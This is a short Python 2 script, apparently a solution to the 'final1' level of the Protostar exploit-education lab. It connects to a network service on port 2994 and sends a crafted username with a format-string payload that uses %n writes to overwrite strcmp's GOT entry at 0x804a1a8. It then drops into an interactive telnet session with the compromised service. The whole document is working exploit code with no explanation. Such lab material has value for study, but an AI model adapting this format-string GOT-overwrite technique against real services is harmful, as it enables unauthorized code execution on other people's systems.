final1.py

asd.py

import socket
import struct
import telnetlib

HOST = "192.168.1.111"
PORT = 2994

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((HOST, PORT))

def read_until(check):
    buf = ''
    while check not in buf:
        buf += s1.recv(1)
    return buf


ip, port = s1.getsockname()
hostname = ip + ":" + str(port)
STRCMP = struct.pack("I", 0x804a1a8)
STRCMP2 = struct.pack("I", 0x804a1a8 + 2)
pad = "A" * (24 - len(hostname))
username = pad + "BBBB" + STRCMP + STRCMP2 + "%65403x %18$n" + "%47163x %19$n"
login = 'CCCC'

print read_until("[final1] $ ")
raw_input('hit enter to send username...')
s1.send('username '+ username + '\n')
print read_until("[final1] $ ")
raw_input('hit enter to send login...')
s1.send('login ' + login + '\n')
print read_until("[final1] $ ")
raw_input('hit enter to leave program')
t1 = telnetlib.Telnet()
t1.sock = s1
t1.interact()